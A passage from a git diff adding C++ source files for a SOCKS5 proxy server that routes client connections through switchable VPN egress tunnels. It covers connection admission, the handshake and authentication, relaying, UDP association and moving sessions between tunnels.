acceptor_.bind(ep, ec); + if (ec) { + *err = "cannot bind " + ep.address().to_string() + ":" + + std::to_string(ep.port()) + ": " + ec.message(); + return false; + } + // A deep backlog matters here: 1000 clients reconnecting after a switch + // arrive in a burst, and the default of 5 would turn that into connection + // refused. + acceptor_.listen(asio::socket_base::max_listen_connections, ec); + if (ec) { + *err = "cannot listen: " + ec.message(); + return false; + } + port_ = acceptor_.local_endpoint(ec).port(); + + LOG_INFO(kMod, "listening on {}:{} (auth {}, max_sessions {}, udp {})", + ep.address().to_string(), port_, + cfg_.require_auth ? "required" : "optional", cfg_.max_sessions, + cfg_.udp_associate_enabled ? "enabled" : "disabled"); + + do_accept(); + return true; +} + +void Server::do_accept() { + if (stopping_.load(std::memory_order_acquire)) return; + + // Accepting straight onto a fresh strand gives the session a socket whose + // executor already is its strand -- see socks5/session.h. + acceptor_.async_accept( + asio::make_strand(io_), + [this](const std::error_code &ec, ClientSocket sock) { + if (ec) { + if (ec == asio::error::operation_aborted) return; + LOG_WARN(kMod, "accept failed: {}", ec.message()); + // An accept error is usually per-connection (EMFILE, ECONNABORTED). + // Give up the listener only if it was closed under us. + if (acceptor_.is_open()) do_accept(); + return; + } + + if (stopping_.load(std::memory_order_acquire)) { + std::error_code ignored; + sock.close(ignored); + return; + } + + // Admission control, before anything else allocates. + if (active_.load(std::memory_order_relaxed) >= + static_cast(cfg_.max_sessions)) { + rejected_.fetch_add(1, std::memory_order_relaxed); + m_rejected()->inc(); + LOG_WARN(kMod, "refusing connection: {} sessions already live", + cfg_.max_sessions); + std::error_code ignored; + sock.close(ignored); + do_accept(); + return; + } + + egress::EgressPtr eg = acquire_ ? acquire_() : nullptr; + if (!eg) { + // Closing without a SOCKS5 reply is deliberate: we have not read the + // greeting yet, so there is no negotiated framing to reply in. + no_egress_.fetch_add(1, std::memory_order_relaxed); + m_no_egress()->inc(); + LOG_WARN(kMod, "refusing connection: no usable egress"); + std::error_code ignored; + sock.close(ignored); + do_accept(); + return; + } + + uint64_t id; + SessionPtr s; + { + std::lock_guard lk(mu_); + id = next_id_++; + s = Session::create(id, std::move(sock), opts_, &auth_, std::move(eg), + [this](uint64_t sid) { reap(sid); }); + sessions_.emplace(id, s); + } + active_.fetch_add(1, std::memory_order_relaxed); + g_active()->add(1); + accepted_.fetch_add(1, std::memory_order_relaxed); + m_accepted()->inc(); + + s->start(); + do_accept(); + }); +} + +void Server::reap(uint64_t id) { + { + std::lock_guard lk(mu_); + if (sessions_.erase(id) == 0) return; // already reaped + } + active_.fetch_sub(1, std::memory_order_relaxed); + g_active()->sub(1); +} + +void Server::stop() { + if (stopping_.exchange(true, std::memory_order_acq_rel)) return; + + asio::post(accept_strand_, [this] { + std::error_code ignored; + acceptor_.close(ignored); + }); + + for (const auto &s : snapshot()) s->force_close("server shutting down"); + LOG_INFO(kMod, "listener stopped"); +} + +std::vector Server::snapshot() const { + std::vector out; + std::lock_guard lk(mu_); + out.reserve(sessions_.size()); + for (const auto &kv : sessions_) { + if (auto s = kv.second.lock()) out.push_back(std::move(s)); + } + return out; +} + +void Server::on_promote(const egress::EgressPtr &old_e, + const egress::EgressPtr &new_e) { + if (!old_e || !new_e) return; + // Offer, do not command: each session decides on its own strand whether it is + // actually re-homeable. Everything that declines stays on the old egress and + // drains normally. + const auto live = snapshot(); + for (const auto &s : live) s->try_rehome(old_e, new_e); + LOG_INFO(kMod, "offered {} live session(s) a move from {} to {}", live.size(), + old_e->label(), new_e->label()); +} + +void Server::on_drain_expired(const egress::EgressPtr &e) { + if (!e) return; + size_t n = 0; + for (const auto &s : snapshot()) { + s->close_if_on(e, "drain grace expired"); + ++n; + } + LOG_WARN(kMod, "drain window for {} expired; closing whatever is left of {} " + "session(s)", + e->label(), n); +} + +Server::Stats Server::stats() const { + Stats s; + s.accepted = accepted_.load(std::memory_order_relaxed); + s.rejected = rejected_.load(std::memory_order_relaxed); + s.no_egress = no_egress_.load(std::memory_order_relaxed); + s.active = active_.load(std::memory_order_relaxed); + s.auth_ok = auth_.successes(); + s.auth_failed = auth_.failures(); + return s; +} + +std::vector Server::sessions(size_t limit) const { + std::vector out; + for (const auto &s : snapshot()) { + if (out.size() >= limit) break; + out.push_back(s->info()); + } + return out; +} + +} // namespace ovg::socks5 diff --git a/src/socks5/server.h b/src/socks5/server.h new file mode 100644 index 0000000..939ef94 --- /dev/null +++ b/src/socks5/server.h @@ -0,0 +1,108 @@ +// The SOCKS5 listener: accept, admit, and own the live sessions. +// +// --------------------------------------------------------------------------- +// Admission control is the only thing standing between us and the OOM killer +// --------------------------------------------------------------------------- +// lwIP allocates its PCBs and pbufs from a heap we do not control and cannot +// gracefully fail (docs/FEASIBILITY.md §4.2). Once a connection is accepted, +// every layer below assumes it can allocate. So the count is enforced *at +// accept*, before a Session exists and before a single byte is read: over the +// limit, the socket is closed immediately and counted. A rejection is cheap; a +// half-built session that dies inside the netstack is not. +// +// --------------------------------------------------------------------------- +// Why there is a session registry at all +// --------------------------------------------------------------------------- +// Draining does not need one -- the egress reference count is the drain +// (egress/egress.h). But three things do: +// +// * re-homing at promotion, which has to reach each session to offer it +// * force-closing the stragglers when a drain window expires +// * telling an operator what is actually running, on /status +// +// It holds weak_ptrs and each session removes itself on close, so the registry +// never keeps a session alive and never grows unbounded. +// +// Threading: the acceptor runs on its own strand; each session runs on its own. +// The registry has a mutex, taken only on accept, on close, and on the two +// switch hooks -- never on the data path. +#pragma once + +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "common/strand_deleter.h" +#include "egress/egress.h" +#include "socks5/auth.h" +#include "socks5/session.h" + +namespace ovg::socks5 { + +class Server { + public: + // Returns the egress a new session should be pinned to, or nullptr if there + // is none right now. A function rather than an EgressManager* so the server + // can be tested against a DirectEgress with no manager, node list, or tunnel. + using EgressProvider = std::function; + + Server(asio::io_context &io, const Config &cfg, EgressProvider acquire); + ~Server(); + + bool start(std::string *err); + void stop(); + + // Hooks for EgressManager. Both are safe to call from the manager's strand. + void on_promote(const egress::EgressPtr &old_e, + const egress::EgressPtr &new_e); + void on_drain_expired(const egress::EgressPtr &e); + + struct Stats { + uint64_t accepted = 0; + uint64_t rejected = 0; + uint64_t no_egress = 0; + int64_t active = 0; + uint64_t auth_ok = 0; + uint64_t auth_failed = 0; + }; + Stats stats() const; + + // Bounded so an operator cannot ask for a 1000-entry JSON blob by accident. + std::vector sessions(size_t limit) const; + + Authenticator &auth() { return auth_; } + // Actual bound port; differs from the configured one when it was 0. + uint16_t port() const { return port_; } + + private: + void do_accept(); + void reap(uint64_t id); + std::vector snapshot() const; + + asio::io_context &io_; + Socks5Config cfg_; + EgressProvider acquire_; + Strand accept_strand_; + asio::ip::tcp::acceptor acceptor_; + Authenticator auth_; + SessionOptionsPtr opts_; + uint16_t port_ = 0; + std::atomic stopping_{false}; + + mutable std::mutex mu_; + std::unordered_map> sessions_; + uint64_t next_id_ = 1; + + std::atomic accepted_{0}, rejected_{0}, no_egress_{0}; + std::atomic active_{0}; +}; + +} // namespace ovg::socks5 diff --git a/src/socks5/session.cpp b/src/socks5/session.cpp new file mode 100644 index 0000000..5fda2cb --- /dev/null +++ b/src/socks5/session.cpp @@ -0,0 +1,841 @@ +#include "socks5/session.h" + +#include + +#include "common/error.h" +#include "common/logging.h" +#include "common/metrics.h" + +namespace ovg::socks5 { +namespace { + +constexpr const char *kMod = "socks5"; + +metrics::Counter *m_handshake_failed() { + static auto *c = metrics::counter("ovg_socks5_handshake_failed_total", + "Sessions that never reached a request"); + return c; +} +metrics::Counter *m_auth_failed() { + static auto *c = metrics::counter("ovg_socks5_auth_failed_total", + "Rejected username/password attempts"); + return c; +} +metrics::Counter *m_connect_failed() { + static auto *c = metrics::counter("ovg_socks5_connect_failed_total", + "CONNECT requests the egress could not fulfil"); + return c; +} +metrics::Counter *m_timeout_handshake() { + static auto *c = metrics::counter("ovg_socks5_handshake_timeout_total", + "Sessions closed by the handshake timer"); + return c; +} +metrics::Counter *m_timeout_connect() { + static auto *c = metrics::counter("ovg_socks5_connect_timeout_total", + "Sessions closed by the connect timer"); + return c; +} +metrics::Counter *m_timeout_idle() { + static auto *c = metrics::counter("ovg_socks5_idle_timeout_total", + "Sessions closed by the idle timer"); + return c; +} +metrics::Counter *m_bytes_up() { + static auto *c = metrics::counter("ovg_socks5_bytes_up_total", + "TCP relay bytes client -> egress"); + return c; +} +metrics::Counter *m_bytes_down() { + static auto *c = metrics::counter("ovg_socks5_bytes_down_total", + "TCP relay bytes egress -> client"); + return c; +} +metrics::Counter *m_rehomed() { + static auto *c = metrics::counter( + "ovg_socks5_rehomed_total", + "Zero-progress sessions transparently re-dialled on a new egress"); + return c; +} +metrics::Counter *m_rehome_failed() { + static auto *c = metrics::counter("ovg_socks5_rehome_failed_total", + "Re-dial attempts that lost the session"); + return c; +} +metrics::Counter *m_udp_assoc() { + static auto *c = metrics::counter("ovg_socks5_udp_associations_total", + "UDP ASSOCIATE requests granted"); + return c; +} +metrics::Gauge *g_udp_active() { + static auto *g = metrics::gauge("ovg_socks5_udp_active", + "Live UDP associations"); + return g; +} + +// Enough for the largest possible greeting (2 + 255) or request. +constexpr size_t kHandshakeBufBytes = 512; + +} // namespace + +const char *session_state_name(SessionState s) { + switch (s) { + case SessionState::Handshake: return "handshake"; + case SessionState::Auth: return "auth"; + case SessionState::Request: return "request"; + case SessionState::Connecting: return "connecting"; + case SessionState::Established: return "established"; + case SessionState::Udp: return "udp"; + case SessionState::Closed: return "closed"; + } + return "?"; +} + +std::shared_ptr Session::create(uint64_t id, ClientSocket sock, + SessionOptionsPtr opts, + const Authenticator *auth, + egress::EgressPtr egress, + CloseHandler on_closed) { + return std::shared_ptr(new Session(id, std::move(sock), + std::move(opts), auth, + std::move(egress), + std::move(on_closed))); +} + +Session::Session(uint64_t id, ClientSocket sock, SessionOptionsPtr opts, + const Authenticator *auth, egress::EgressPtr egress, + CloseHandler on_closed) + : id_(id), + client_(std::move(sock)), + strand_(client_.get_executor()), + timer_(strand_), + opts_(std::move(opts)), + auth_(auth), + on_closed_(std::move(on_closed)), + egress_(std::move(egress)), + created_(Clock::now()) { + const size_t bufsz = opts_->socks5.relay_buffer_size; + up_buf_.resize(bufsz < kHandshakeBufBytes ? kHandshakeBufBytes : bufsz); + down_buf_.resize(bufsz); + + std::error_code ec; + const auto peer = client_.remote_endpoint(ec); + client_str_ = ec ? "?" : peer.address().to_string() + ":" + + std::to_string(peer.port()); + egress_label_ = egress_ ? egress_->label() : "-"; +} + +Session::~Session() { + // Nothing to do: every owned resource closes itself. The handler is fired + // from finish() rather than here so that the server's registry drops us + // promptly instead of at some arbitrary later reference release. +} + +void Session::start() { + auto self = shared_from_this(); + asio::post(strand_, [self] { + // TCP_NODELAY on the client side: a proxy that batches a 30-byte HTTP + // request behind Nagle adds 40ms to every request for no benefit. + std::error_code ignored; + self->client_.set_option(asio::ip::tcp::no_delay(true), ignored); + + self->set_phase(Phase::Handshake); + self->arm_timer(); + self->step_greeting(); + }); +} + +// --------------------------------------------------------------------------- +// Handshake +// --------------------------------------------------------------------------- + +// Reads one more chunk into the handshake buffer and calls `retry`, which +// re-runs whichever decoder asked for more. The decoders are restartable from +// the front of the buffer, so a partial read costs nothing but a re-parse of a +// few bytes. +void Session::read_more(std::function retry) { + if (closed_) return; + if (hs_len_ >= kHandshakeBufBytes) { + // Cannot happen with a well-formed peer: every handshake message is + // bounded. Something is feeding us garbage. + finish("handshake buffer overflow"); + return; + } + auto self = shared_from_this(); + client_.async_read_some( + asio::buffer(up_buf_.data() + hs_len_, kHandshakeBufBytes - hs_len_), + [self, retry = std::move(retry)](const std::error_code &ec, size_t n) { + if (self->closed_) return; + if (ec) { + m_handshake_failed()->inc(); + self->finish(ec == asio::error::eof ? "client closed during handshake" + : "handshake read failed"); + return; + } + self->hs_len_ += n; + retry(); + }); +} + +void Session::step_greeting() { + Greeting g; + const Decode d = decode_greeting(up_buf_.data(), hs_len_, &g); + if (d.status == Status::Bad) { + m_handshake_failed()->inc(); + finish("malformed greeting"); + return; + } + if (d.status == Status::NeedMore) { + auto self = shared_from_this(); + read_more([self] { self->step_greeting(); }); + return; + } + + // Consume the greeting; anything after it is the next message. + std::memmove(up_buf_.data(), up_buf_.data() + d.used, hs_len_ - d.used); + hs_len_ -= d.used; + + const bool require = auth_ != nullptr && auth_->required(); + Method chosen = Method::None; + if (g.offers(Method::UserPass) && auth_ != nullptr) { + // Preferred whenever the client offers it, even when auth is optional: + // a presented password is always verified. + chosen = Method::UserPass; + } else if (!require && g.offers(Method::NoAuth)) { + chosen = Method::NoAuth; + } + + const auto reply = encode_method_selection(chosen); + auto self = shared_from_this(); + auto buf = std::make_shared>(reply); + asio::async_write( + client_, asio::buffer(*buf), + [self, buf, chosen](const std::error_code &ec, size_t) { + if (self->closed_) return; + if (ec) { + self->finish("method selection write failed"); + return; + } + if (chosen == Method::None) { + m_handshake_failed()->inc(); + LOG_DEBUG(kMod, "[{}] no acceptable auth method", self->id_); + self->finish("no acceptable auth method"); + return; + } + if (chosen == Method::UserPass) { + self->set_state(SessionState::Auth); + self->step_userpass(); + } else { + self->authed_ = true; + self->set_state(SessionState::Request); + self->step_request(); + } + }); +} + +void Session::step_userpass() { + UserPass up; + const Decode d = decode_userpass(up_buf_.data(), hs_len_, &up); + if (d.status == Status::Bad) { + m_handshake_failed()->inc(); + finish("malformed auth request"); + return; + } + if (d.status == Status::NeedMore) { + auto self = shared_from_this(); + read_more([self] { self->step_userpass(); }); + return; + } + std::memmove(up_buf_.data(), up_buf_.data() + d.used, hs_len_ - d.used); + hs_len_ -= d.used; + + const bool ok = auth_ != nullptr && auth_->check(up.username, up.password); + if (!ok) { + m_auth_failed()->inc(); + LOG_INFO(kMod, "[{}] auth rejected for user '{}' from {}", id_, up.username, + client_str_); + } + + auto self = shared_from_this(); + auto buf = std::make_shared>(encode_userpass_reply(ok)); + asio::async_write(client_, asio::buffer(*buf), + [self, buf, ok](const std::error_code &ec, size_t) { + if (self->closed_) return; + // RFC 1929 §2: on failure the server MUST close. + if (ec || !ok) { + self->finish(ok ? "auth reply write failed" + : "authentication failed"); + return; + } + self->authed_ = true; + self->set_state(SessionState::Request); + self->step_request(); + }); +} + +void Session::step_request() { + Request req; + const Decode d = decode_request(up_buf_.data(), hs_len_, &req); + if (d.status == Status::Bad) { + m_handshake_failed()->inc(); + // Best effort: the client may not even be speaking SOCKS5, but a reply + // costs one small write and tells a well-behaved one what went wrong. + reply_and_close(Reply::GeneralFailure, "malformed request"); + return; + } + if (d.status == Status::NeedMore) { + auto self = shared_from_this(); + read_more([self] { self->step_request(); }); + return; + } + std::memmove(up_buf_.data(), up_buf_.data() + d.used, hs_len_ - d.used); + hs_len_ -= d.used; + + dispatch(req); +} + +void Session::dispatch(const Request &req) { + { + std::lock_guard lk(mu_); + target_ = req.target; + target_str_ = req.target.to_string(); + command_str_ = command_name(req.command); + } + + switch (req.command) { + case Command::Connect: + LOG_DEBUG(kMod, "[{}] CONNECT {} via {}", id_, req.target.to_string(), + egress_->label()); + do_connect(req.target); + return; + + case Command::UdpAssociate: + if (!opts_->socks5.udp_associate_enabled) { + reply_and_close(Reply::CommandNotSupported, "UDP ASSOCIATE disabled"); + return; + } + do_udp_associate(req.target); + return; + + case Command::Bind: + // docs/FEASIBILITY.md §5.4: a VPNGate exit is behind NAT and cannot + // receive an inbound connection, so BIND could not work even if it were + // implemented. Saying so immediately beats a timeout. + reply_and_close(Reply::CommandNotSupported, "BIND is not supported"); + return; + } + reply_and_close(Reply::CommandNotSupported, "unknown command"); +} + +void Session::reply_and_close(Reply rep, const char *why) { + auto self = shared_from_this(); + send_reply(rep, Endpoint(), [self, why] { self->finish(why); }); +} + +void Session::send_reply(Reply rep, const Endpoint &bound, + std::function then) { + if (closed_) return; + auto buf = std::make_shared>(encode_reply(rep, bound)); + auto self = shared_from_this(); + asio::async_write(client_, asio::buffer(*buf), + [self, buf, then = std::move(then)]( + const std::error_code &ec, size_t) { + if (self->closed_) return; + if (ec) { + self->finish("reply write failed"); + return; + } + then(); + }); +} + +// --------------------------------------------------------------------------- +// CONNECT +// --------------------------------------------------------------------------- + +void Session::do_connect(const Endpoint &target) { + set_state(SessionState::Connecting); + set_phase(Phase::Connect); + + auto self = shared_from_this(); + const uint64_t gen = gen_; + egress_->async_connect_tcp( + strand_, target, opts_->socks5.connect_timeout, + [self, gen](const std::error_code &ec, netstack::TcpStreamPtr stream) { + if (self->closed_ || gen != self->gen_) { + if (stream) stream->close(); + return; + } + if (ec) { + m_connect_failed()->inc(); + LOG_INFO(kMod, "[{}] CONNECT {} failed: {}", self->id_, + self->target_str_, ec.message()); + self->reply_and_close(reply_for(ec), "connect failed"); + return; + } + self->remote_ = std::move(stream); + // BND is the address the egress dialled from, which is what RFC 1928 + // asks for and what a client behind us would use for a subsequent + // BIND -- informational here, but wrong information is worse than + // none. + self->send_reply(Reply::Succeeded, self->remote_->local_endpoint(), + [self] { self->begin_relay(); }); + }); +} + +void Session::begin_relay() { + set_state(SessionState::Established); + set_phase(Phase::Idle); + + // The client may already have pipelined request bytes into the handshake + // buffer while waiting for our reply. Those belong to the stream and must go + // out before anything read later. + if (hs_len_ > 0) { + const size_t n = hs_len_; + hs_len_ = 0; + start_up_write(n); + } else { + start_up_read(); + } + start_down_read(); +} + +void Session::start_up_read() { + if (closed_ || up_done_) return; + auto self = shared_from_this(); + const uint64_t gen = gen_; + ++active_; + client_.async_read_some( + asio::buffer(up_buf_), [self, gen](const std::error_code &ec, size_t n) { + --self->active_; + if (gen != self->gen_) { + // A rehome overtook this read. Keep the bytes: the new stream has + // seen nothing, so replaying them is exactly right. + if (!ec && n > 0) self->up_pending_ = n; + self->rehome_ready(); + return; + } + if (self->closed_) return; + if (ec) { + if (ec == asio::error::eof) { + self->half_close_up(); + } else { + self->finish("client read failed"); + } + return; + } + self->touch(); + self->start_up_write(n); + }); +} + +void Session::start_up_write(size_t n) { + if (closed_ || !remote_) return; + auto self = shared_from_this(); + const uint64_t gen = gen_; + up_writing_ = true; + ++active_; + remote_->async_write( + asio::buffer(up_buf_.data(), n), + [self, gen, n](const std::error_code &ec, size_t) { + --self->active_; + self->up_writing_ = false; + if (gen != self->gen_) { + self->rehome_ready(); + return; + } + if (self->closed_) return; + if (ec) { + self->finish("egress write failed"); + return; + } + self->up_bytes_.fetch_add(n, std::memory_order_relaxed); + m_bytes_up()->inc(n); + self->touch(); + self->start_up_read(); + }); +} + +void Session::start_down_read() { + if (closed_ || down_done_ || !remote_) return; + auto self = shared_from_this(); + const uint64_t gen = gen_; + ++active_; + remote_->async_read_some( + asio::buffer(down_buf_), [self, gen](const std::error_code &ec, size_t n) { + --self->active_; + if (gen != self->gen_) { + // Data arrived from the old stream after we decided it was idle. + // The stream is already closed, so forwarding it is impossible and + // pretending it never happened would silently truncate. + if (!ec && n > 0) self->rehome_abort_ = true; + self->rehome_ready(); + return; + } + if (self->closed_) return; + if (ec) { + if (ec == asio::error::eof) { + self->half_close_down(); + } else { + self->finish("egress read failed"); + } + return; + } + self->touch(); + self->start_down_write(n); + }); +} + +void Session::start_down_write(size_t n) { + if (closed_) return; + auto self = shared_from_this(); + const uint64_t gen = gen_; + down_writing_ = true; + ++active_; + asio::async_write(client_, asio::buffer(down_buf_.data(), n), + [self, gen, n](const std::error_code &ec, size_t) { + --self->active_; + self->down_writing_ = false; + if (gen != self->gen_) { + self->rehome_ready(); + return; + } + if (self->closed_) return; + if (ec) { + self->finish("client write failed"); + return; + } + self->down_bytes_.fetch_add(n, std::memory_order_relaxed); + m_bytes_down()->inc(n); + self->touch(); + self->start_down_read(); + }); +} + +void Session::half_close_up() { + up_done_ = true; + if (remote_) remote_->shutdown_send(); + maybe_finish(); +} + +void Session::half_close_down() { + down_done_ = true; + std::error_code ignored; + client_.shutdown(asio::ip::tcp::socket::shutdown_send, ignored); + maybe_finish(); +} + +void Session::maybe_finish() { + if (up_done_ && down_done_) finish("both directions closed"); +} + +// --------------------------------------------------------------------------- +// UDP ASSOCIATE +// --------------------------------------------------------------------------- + +void Session::do_udp_associate(const Endpoint &expect) { + std::error_code ec; + const auto local = client_.local_endpoint(ec); + const auto peer = client_.remote_endpoint(ec); + if (ec) { + reply_and_close(Reply::GeneralFailure, "control connection has no address"); + return; + } + + assoc_ = UdpAssociation::create(strand_, opts_->socks5, egress_); + auto self = shared_from_this(); + const uint64_t gen = gen_; + assoc_->async_open( + local.address(), peer.address(), expect, + [self, gen](const std::error_code &oec) { + if (self->closed_ || gen != self->gen_) return; + if (oec) { + self->assoc_.reset(); + self->reply_and_close(reply_for(oec), "udp associate failed"); + return; + } + m_udp_assoc()->inc(); + g_udp_active()->add(1); + LOG_INFO(kMod, "[{}] UDP ASSOCIATE ready, advertising {}", self->id_, + self->assoc_->advertised().to_string()); + self->send_reply(Reply::Succeeded, self->assoc_->advertised(), + [self] { + self->set_state(SessionState::Udp); + self->set_phase(Phase::Idle); + self->park_control_connection(); + }); + }); +} + +// RFC 1928 §7 ties the association's lifetime to this TCP connection. Nothing +// more is expected to arrive on it, so the read exists purely to notice the +// close -- and to consume anything a confused client sends rather than letting +// it fill a receive buffer. +void Session::park_control_connection() { + if (closed_) return; + auto self = shared_from_this(); + client_.async_read_some(asio::buffer(up_buf_), + [self](const std::error_code &ec, size_t) { + if (self->closed_) return; + if (ec) { + self->finish("udp control connection closed"); + return; + } + self->park_control_connection(); + }); +} + +// --------------------------------------------------------------------------- +// Re-homing (ARCHITECTURE §5.3 / §5.4) +// --------------------------------------------------------------------------- + +void Session::try_rehome(const egress::EgressPtr &from, + const egress::EgressPtr &fresh) { + auto self = shared_from_this(); + asio::post(strand_, [self, from, fresh] { + if (self->closed_ || self->egress_ != from || !fresh) return; + self->do_rehome(fresh); + }); +} + +void Session::close_if_on(const egress::EgressPtr &which, const char *why) { + auto self = shared_from_this(); + asio::post(strand_, [self, which, why] { + if (self->closed_ || self->egress_ != which) return; + self->finish(why); + }); +} + +void Session::do_rehome(egress::EgressPtr fresh) { + if (rehoming_) return; + + if (state_.load(std::memory_order_relaxed) == SessionState::Udp) { + if (!opts_->rehome_udp || !assoc_) return; + egress_ = fresh; + { + std::lock_guard lk(mu_); + egress_label_ = egress_->label(); + } + assoc_->rehome(egress_); + return; + } + + if (!opts_->retry_zero_progress) return; + if (state_.load(std::memory_order_relaxed) != SessionState::Established || + !remote_) { + return; + } + // Mid-write means bytes are already committed to the old stream. + if (up_writing_ || down_writing_) return; + if (up_done_ || down_done_) return; + // The stream itself is the source of truth for "has anything happened here", + // which is exactly why TcpStream exposes these counters. + if (remote_->bytes_written() != 0 || remote_->bytes_read() != 0) return; + + rehoming_ = true; + rehome_abort_ = false; + up_pending_ = 0; + ++gen_; // everything outstanding is now stale + new_egress_ = std::move(fresh); + + auto old = std::move(remote_); + if (old) old->close(); // fails the pending down read with Cancelled + std::error_code ignored; + client_.cancel(ignored); // fails the pending up read + + rehome_ready(); // in case nothing was outstanding +} + +void Session::rehome_ready() { + if (!rehoming_ || active_ != 0) return; + if (closed_) return; + + if (rehome_abort_) { + m_rehome_failed()->inc(); + rehoming_ = false; + finish("inbound data raced the rehome"); + return; + } + rehome_connect(); +} + +void Session::rehome_connect() { + egress_ = std::move(new_egress_); + { + std::lock_guard lk(mu_); + egress_label_ = egress_->label(); + } + set_phase(Phase::Connect); + + auto self = shared_from_this(); + const uint64_t gen = gen_; + Endpoint target; + { + std::lock_guard lk(mu_); + target = target_; + } + egress_->async_connect_tcp( + strand_, target, opts_->socks5.connect_timeout, + [self, gen](const std::error_code &ec, netstack::TcpStreamPtr stream) { + if (self->closed_ || gen != self->gen_) { + if (stream) stream->close(); + return; + } + if (ec) { + m_rehome_failed()->inc(); + self->rehoming_ = false; + // The old stream is gone; there is nothing to fall back to. This is + // the "if you cannot keep it, drop it" case, scoped to one session. + self->finish("rehome could not reconnect"); + return; + } + self->remote_ = std::move(stream); + self->rehoming_ = false; + self->set_phase(Phase::Idle); + m_rehomed()->inc(); + LOG_INFO(kMod, "[{}] rehomed {} onto {}", self->id_, self->target_str_, + self->egress_->label()); + + if (self->up_pending_ > 0) { + const size_t n = self->up_pending_; + self->up_pending_ = 0; + self->start_up_write(n); + } else { + self->start_up_read(); + } + self->start_down_read(); + }); +} + +// --------------------------------------------------------------------------- +// Timers and teardown +// --------------------------------------------------------------------------- + +void Session::set_phase(Phase p) { + phase_ = p; + switch (p) { + case Phase::Handshake: + deadline_ = Clock::now() + opts_->socks5.handshake_timeout; + break; + case Phase::Connect: + deadline_ = Clock::now() + opts_->socks5.connect_timeout; + break; + case Phase::Idle: + touch(); + break; + } +} + +void Session::touch() { + // Deliberately does not reschedule the timer. See the header comment: at a + // thousand sessions, one timer update per relayed buffer would cost more than + // the relay. + deadline_ = Clock::now() + (state_.load(std::memory_order_relaxed) == + SessionState::Udp + ? opts_->socks5.udp_idle_timeout + : opts_->socks5.idle_timeout); +} + +void Session::arm_timer() { + if (closed_) return; + auto self = shared_from_this(); + timer_.expires_at(deadline_); + timer_.async_wait([self](const std::error_code &ec) { + if (self->closed_) return; + if (ec == asio::error::operation_aborted) return; + self->on_timer(); + }); +} + +void Session::on_timer() { + // A UDP association's activity lives in the association, not here. + if (state_.load(std::memory_order_relaxed) == SessionState::Udp && assoc_) { + const auto idle_at = + assoc_->last_activity() + opts_->socks5.udp_idle_timeout; + if (idle_at > deadline_) deadline_ = idle_at; + } + + if (Clock::now() < deadline_) { + arm_timer(); // the deadline moved under us; wait for the new one + return; + } + + switch (phase_) { + case Phase::Handshake: + m_timeout_handshake()->inc(); + m_handshake_failed()->inc(); + finish("handshake timeout"); + return; + case Phase::Connect: + m_timeout_connect()->inc(); + finish("connect timeout"); + return; + case Phase::Idle: + m_timeout_idle()->inc(); + finish("idle timeout"); + return; + } +} + +void Session::force_close(const char *why) { + auto self = shared_from_this(); + asio::post(strand_, [self, why] { self->finish(why); }); +} + +void Session::finish(const char *why) { + if (closed_) return; + closed_ = true; + ++gen_; + + const bool was_udp = state_.load(std::memory_order_relaxed) == + SessionState::Udp; + set_state(SessionState::Closed); + + std::error_code ignored; + timer_.cancel(); + client_.close(ignored); + if (remote_) { + remote_->close(); + remote_.reset(); + } + if (assoc_) { + assoc_->close(); + assoc_.reset(); + if (was_udp) g_udp_active()->sub(1); + } + // Released here rather than at destruction: the drain in EgressManager keys + // off the reference count, so holding it until some later handler drops the + // last shared_ptr to us would stretch every switch. + egress_.reset(); + new_egress_.reset(); + + LOG_DEBUG(kMod, "[{}] closed ({}), up={} down={}", id_, why, + up_bytes_.load(std::memory_order_relaxed), + down_bytes_.load(std::memory_order_relaxed)); + + if (on_closed_) { + auto h = std::move(on_closed_); + h(id_); + } +} + +void Session::set_state(SessionState s) { + state_.store(s, std::memory_order_relaxed); +} + +Session::Info Session::info() const { + Info i; + i.id = id_; + std::lock_guard lk(mu_); + i.client = client_str_; + i.target = target_str_; + i.command = command_str_; + i.state = session_state_name(state_.load(std::memory_order_relaxed)); + i.egress_label = egress_label_; + i.bytes_up = up_bytes_.load(std::memory_order_relaxed); + i.bytes_down = down_bytes_.load(std::memory_order_relaxed); + i.age_ms = std::chrono::duration_cast(Clock::now() - created_).count(); + return i; +} + +} // namespace ovg::socks5 diff --git a/src/socks5/session.h b/src/socks5/session.h new file mode 100644 index 0000000..3047607 --- /dev/null +++ b/src/socks5/session.h @@ -0,0 +1,232 @@ +// One SOCKS5 client connection, from greeting to teardown. +// +// --------------------------------------------------------------------------- +// No thread per connection +// --------------------------------------------------------------------------- +// The requirement was ~1000 concurrent connections without a thread each. A +// Session owns no thread; it owns a strand over the shared io_context. N +// sessions on 4 io threads each still see a single-threaded world, because +// every callback that touches this object is dispatched on that strand. The +// per-session cost is two relay buffers, a socket, a timer, and this object -- +// tens of kilobytes, not a megabyte of stack. +// +// --------------------------------------------------------------------------- +// Half-close, which is where proxies usually get it wrong +// --------------------------------------------------------------------------- +// The two directions are independent. A client that finished sending its +// request and shut down its write side is *not* done: it is waiting for the +// response. Closing the whole session on the first EOF truncates that response, +// and it is the single most common proxy bug. So: +// +// client EOF -> remote->shutdown_send(), keep reading from remote +// remote EOF -> client.shutdown(send), keep reading from client +// both -> close +// +// --------------------------------------------------------------------------- +// Three timers, one steady_timer +// --------------------------------------------------------------------------- +// Handshake, connect, and idle are independent deadlines but never overlap, so +// they share one timer and a `deadline_` field. Refreshing activity moves the +// field and does *not* touch the timer -- at a thousand sessions moving a +// timer per datagram would cost more than the relay does. The timer wakes at +// the old deadline, notices it moved, and re-arms. +// +// --------------------------------------------------------------------------- +// Its egress, and how it can change +// --------------------------------------------------------------------------- +// A session holds an EgressPtr for its whole life. That reference is what makes +// draining work without a session table (egress/egress.h), and it means a +// session's bytes cannot be split across two tunnels mid-stream. +// +// There are exactly two exceptions, both from docs/ARCHITECTURE.md §5.3-5.4: +// +// * A TCP session that has moved zero bytes through its stream is carrying no +// stream state, so it can be re-dialled on the new egress and the client +// never learns. `try_rehome` does this. +// * A UDP association has no sequence state at all, so only the egress-side +// socket is replaced. See socks5/udp_relay.h. +// +// Anything else stays where it is and drains, and is force-closed if the grace +// window expires. That is the honest answer to "keep existing connections if +// possible, otherwise drop them". +#pragma once + +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "common/endpoint.h" +#include "common/strand_deleter.h" +#include "egress/egress.h" +#include "socks5/auth.h" +#include "socks5/protocol.h" +#include "socks5/udp_relay.h" + +namespace ovg::socks5 { + +// The slice of configuration a session needs. Shared by pointer so that a +// thousand sessions do not each copy the credential list and the switch policy. +struct SessionOptions { + Socks5Config socks5; + bool retry_zero_progress = true; // 